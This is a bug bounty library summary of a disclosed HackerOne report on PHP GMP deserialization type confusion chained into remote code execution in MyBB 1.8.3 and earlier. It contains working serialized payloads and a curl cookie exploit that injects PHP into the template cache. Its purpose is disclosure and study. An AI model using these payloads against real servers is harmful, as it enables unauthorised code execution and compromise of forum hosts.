# GMP Deserialization Type Confusion Vulnerability [MyBB <= 1.8.3 RCE Vulnerability]

PHP GMP deserialization type confusion lets crafted __wakeup convert objects to integers, enabling property overwrite of any object in the store; chained to MyBB template cache for RCE.

- Payout: hidden
- Severity: high
- Program: Internet Bug Bounty
- Found by: ryat
- Disclosed: 2019-10-13
- Write-up quality: 9/10
- Original: https://hackerone.com/reports/198734
- Library page: https://bugbountylibrary.com/r/h1%3A198734
- Tags: area:oss domain:oss impact:rce kind:bounty platform:hackerone sev:high tech:php technique:chained technique:source-review vuln:deserialization vuln:rce

**Target:** PHP GMP unserialize handler and MyBB cookie deserialization
**Root cause:** gmp_unserialize calls zend_std_get_properties on a zval that __wakeup can mutate into an integer, so Z_OBJ_P interprets the integer as an object handle and zend_hash_copy overwrites properties of an arbitrary object in the object store.
**Steps:**
1. Craft serialized payload `a:1:{i:0;C:3:"GMP":<len>:{<inner>}}` where inner is `s:1:"5";a:2:{...}` setting the GMP value to target object handle 5.
2. Inner array contains properties to overwrite plus `i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}` whose __wakeup converts the GMP object to an integer ZVAL.
3. During gmp_unserialize, zend_std_get_properties uses Z_OBJ_P on the now-integer zval, resolving to object handle 5 (the templates object).
4. zend_hash_copy overwrites templates->cache with attacker-controlled template containing `{${phpinfo()}}`.
5. Trigger via cookie: `curl --cookie 'mybb[forumread]=a:1:{i:0%3bC:3:"GMP":106:{s:1:"5"%3ba:2:{s:5:"cache"%3ba:1:{s:5:"index"%3bs:14:"{${phpinfo()}}"%3b}i:0%3bO:12:"DateInterval":1:{s:1:"y"%3bR:2%3b}}}}' http://127.0.0.1/mybb/`
6. MyBB evals the template string, executing injected PHP.
**How found:** Observed that magic methods like __wakeup can mutate zvals during deserialization; hypothesized that converting a GMP object to an integer via gmp_cast_object would make Z_OBJ_P treat the integer as an object handle, then tested overwriting properties of objects in the store.
**Exploitation:** Attacker sends a crafted mybb[forumread] cookie; MyBB unserializes it, GMP type confusion overwrites the templates object's cache property with a malicious template, and eval() in index.php executes the injected PHP code, achieving RCE.
**Escalation:** Chained PHP engine type confusion with MyBB's cookie unserialize and template eval to go from deserialization to full RCE.
**Insight:** When a deserialization handler calls zend_std_get_properties on a zval that user-controlled __wakeup can retype, the integer value becomes an object-store handle — enumerate object handles created before the vulnerable unserialize call to target a specific object's properties.

## Proof of concept (copied exactly from the original report)

**GMP type confusion unserialize PoC**

```
$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$x = unserialize($exploit);
var_dump($obj);
```

**DateInterval GMP cast exploit**

```
var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));
```

**MyBB RCE curl cookie exploit**

```
curl --cookie 'mybb[forumread]=a:1:{i:0%3bC:3:"GMP":106:{s:1:"5"%3ba:2:{s:5:"cache"%3ba:1:{s:5:"index"%3bs:14:"{${phpinfo()}}"%3b}i:0%3bO:12:"DateInterval":1:{s:1:"y"%3bR:2%3b}}}}' http://127.0.0.1/mybb/
```